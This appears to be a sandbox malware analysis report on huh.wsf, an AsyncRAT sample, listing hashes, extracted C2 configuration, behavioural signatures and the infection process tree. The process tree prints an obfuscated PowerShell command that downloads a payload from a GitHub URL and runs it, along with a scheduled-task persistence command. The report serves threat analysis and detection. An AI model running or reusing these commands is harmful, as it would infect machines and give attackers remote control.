Analysis
-
max time kernel
154s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
12-10-2023 09:15
Static task
static1
Behavioral task
behavioral1
Sample
huh.wsf
Resource
win7-20230831-en
General
-
Target
huh.wsf
-
Size
78KB
-
MD5
3afe73cfaffd88fe0f1deb6a8a2c133a
-
SHA1
eb6bdbe0f846465c3ca1da7fb0828f67fde33c45
-
SHA256
43f0058eddf17e193f8168c7800dbe5754ec2a5b0f505fccca161895a850e56c
-
SHA512
f16d295d84b4c2cd1b26f1e3c5b84153ac202849bc25f56f955a914665bf7baabcd6ef4b5a7118c6ea3356443e8d5f4d55a19483f542624a25f91504b73f1c85
-
SSDEEP
1536:DGJGJ1GJ1GJ1GJIGJ11GJGJ1GJSGJGJ1GJ1GJ1GJoaWEGJGJ1GJ1GJ1GJlGJGJ1t:DGJGJ1GJ1GJ1GJIGJ11GJGJ1GJSGJGJ1
Malware Config
Extracted
asyncrat
2022 | Edit 3LOSH RAT
DRAX
itskmc.run.place:6606
itskmc.run.place:7707
itskmc.run.place:8808
AsyncMutex_6SI8OkPnk
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/1328-57-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 4 IoCs
Processes:
WScript.exepowershell.exeflow pid process 6 1852 WScript.exe 8 1852 WScript.exe 11 1852 WScript.exe 34 3376 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exeWScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3624 set thread context of 1328 3624 powershell.exe RegSvcs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3376 powershell.exe 3376 powershell.exe 3624 powershell.exe 3624 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3376 powershell.exe Token: SeDebugPrivilege 3624 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
WScript.exepowershell.exeWScript.execmd.execmd.exepowershell.exedescription pid process target process PID 1852 wrote to memory of 3376 1852 WScript.exe powershell.exe PID 1852 wrote to memory of 3376 1852 WScript.exe powershell.exe PID 3376 wrote to memory of 2604 3376 powershell.exe schtasks.exe PID 3376 wrote to memory of 2604 3376 powershell.exe schtasks.exe PID 4972 wrote to memory of 1632 4972 WScript.exe cmd.exe PID 4972 wrote to memory of 1632 4972 WScript.exe cmd.exe PID 1632 wrote to memory of 3248 1632 cmd.exe cmd.exe PID 1632 wrote to memory of 3248 1632 cmd.exe cmd.exe PID 3248 wrote to memory of 3624 3248 cmd.exe powershell.exe PID 3248 wrote to memory of 3624 3248 cmd.exe powershell.exe PID 3624 wrote to memory of 1328 3624 powershell.exe RegSvcs.exe PID 3624 wrote to memory of 1328 3624 powershell.exe RegSvcs.exe PID 3624 wrote to memory of 1328 3624 powershell.exe RegSvcs.exe PID 3624 wrote to memory of 1328 3624 powershell.exe RegSvcs.exe PID 3624 wrote to memory of 1328 3624 powershell.exe RegSvcs.exe PID 3624 wrote to memory of 1328 3624 powershell.exe RegSvcs.exe PID 3624 wrote to memory of 1328 3624 powershell.exe RegSvcs.exe PID 3624 wrote to memory of 1328 3624 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\huh.wsf"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI $kuTYFCYytf333='IeX(NeW-OBJeCT NeT.W';$6546FDSZFX='eBCLIeNT).DOWNLO';Sleep 3;[BYTe[]];Sleep 6;$3232CGFCHGC='78TBFRT47TY87GBR8FEGH8VGTVG4T8VG7GTF874G58(''https://raw.githubusercontent.com/drax2020/drax/main/invkmc.jpg'')'.RePLACe('78TBFRT47TY87GBR8FEGH8VGTVG4T8VG7GTF874G58','ADSTRING');Sleep 5;IeX($kuTYFCYytf333+$6546FDSZFX+$3232CGFCHGC);2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /tn coinmarketcap /tr C:\Users\Public\coinmarketcap\coinmarketcap.vbs3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WScript.exeC:\Windows\System32\WScript.exe "C:\Users\Public\coinmarketcap\coinmarketcap.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\coinmarketcap\1.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeCMD /C powershell.exe -NOP -WIND HIDDEN -eXEC BYPASS -NONI "C:\Users\Public\coinmarketcap\imcq.ps1"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NOP -WIND HIDDEN -eXEC BYPASS -NONI "C:\Users\Public\coinmarketcap\imcq.ps1"4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"5⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD58192139416d335bab7ae69718ea33610
SHA174819680530e50b748d989ff411bd0c91951c00d
SHA2560b7afb0c73af0f2207cab6897d60cb50707d42a23220e70aaf284e9dbcbfa3b5
SHA5120a82138e9eaf23837e08547842bc94dca8895cc21aeb5859d6c9158904ed798d0981ec1a9ca7c008702058c6ec1298644c1a599a0eeb346c6373d2d363da1a62
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ifr5qbg.ibm.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Public\coinmarketcap\1.batFilesize
101B
MD544e064e842f617f02e141df432bbba05
SHA175e8b8828f424886b885b54d24f92df91757dd67
SHA2567683de0cebb3f85dc3fe733e2266ed3c4ec3a11ae177a7c63b487f45426efa6b
SHA512a8745780adb1e015bb5d0f794ea38b0c228531188cc5207153664d924caebeebf6f078abcdd56be955b96f8b6ca9777fd2446daf404d3038bba5a53fd724d54a
-
C:\Users\Public\coinmarketcap\coinmarketcap.vbsFilesize
2KB
MD581e8abd8a610bd9b6061d5777fa50774
SHA165394fbe378c3600e68b0e0655ca6ba760357114
SHA256d672e8a405f67033bd845bea5b9f137152c8effb4a5b4ec8c75d73124e5b2dfd
SHA512593de6db9c3d5045196d37898879125efa9de9ee28a49bc02ec8bbd8c2ee8fc629f3eb9fc0aa99dc28aab6d03520406886461b0141c7e272b86881d3c9e6e3d7
-
C:\Users\Public\coinmarketcap\imcq.ps1Filesize
139KB
MD50f5caae287b4875f851d599d28a3abac
SHA17380301b3cf29388fb30c483387a27e4c78ba113
SHA25693cea8592ee7c490bd5dcdd25a2de4e8245e60eab9fa61e3ac5663cd034af310
SHA51216d1e5a3cafe19700d9d8c14f2b00c24fe82862c97304991374d0d66eeff2eac6fe3f8fd0379e0abdd3342125f0cc76bb75b1e50b7eae5c364de65906f5ee2ba
-
memory/1328-57-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/3376-25-0x000001639BD80000-0x000001639BD90000-memory.dmpFilesize
64KB
-
memory/3376-13-0x000001639BD20000-0x000001639BD42000-memory.dmpFilesize
136KB
-
memory/3376-19-0x000001639BD80000-0x000001639BD90000-memory.dmpFilesize
64KB
-
memory/3376-33-0x00007FFF67590000-0x00007FFF68051000-memory.dmpFilesize
10.8MB
-
memory/3376-23-0x000001639BD80000-0x000001639BD90000-memory.dmpFilesize
64KB
-
memory/3376-20-0x000001639BD80000-0x000001639BD90000-memory.dmpFilesize
64KB
-
memory/3376-18-0x00007FFF67590000-0x00007FFF68051000-memory.dmpFilesize
10.8MB
-
memory/3376-21-0x000001639BD80000-0x000001639BD90000-memory.dmpFilesize
64KB
-
memory/3376-22-0x00007FFF67590000-0x00007FFF68051000-memory.dmpFilesize
10.8MB
-
memory/3376-24-0x000001639BD80000-0x000001639BD90000-memory.dmpFilesize
64KB
-
memory/3624-39-0x0000018764570000-0x0000018764580000-memory.dmpFilesize
64KB
-
memory/3624-50-0x0000018764570000-0x0000018764580000-memory.dmpFilesize
64KB
-
memory/3624-38-0x0000018764570000-0x0000018764580000-memory.dmpFilesize
64KB
-
memory/3624-52-0x000001874C380000-0x000001874C38C000-memory.dmpFilesize
48KB
-
memory/3624-53-0x00007FFF67450000-0x00007FFF67F11000-memory.dmpFilesize
10.8MB
-
memory/3624-54-0x0000018764570000-0x0000018764580000-memory.dmpFilesize
64KB
-
memory/3624-55-0x0000018764570000-0x0000018764580000-memory.dmpFilesize
64KB
-
memory/3624-56-0x0000018764570000-0x0000018764580000-memory.dmpFilesize
64KB
-
memory/3624-37-0x00007FFF67450000-0x00007FFF67F11000-memory.dmpFilesize
10.8MB
-
memory/3624-59-0x00007FFF67450000-0x00007FFF67F11000-memory.dmpFilesize
10.8MB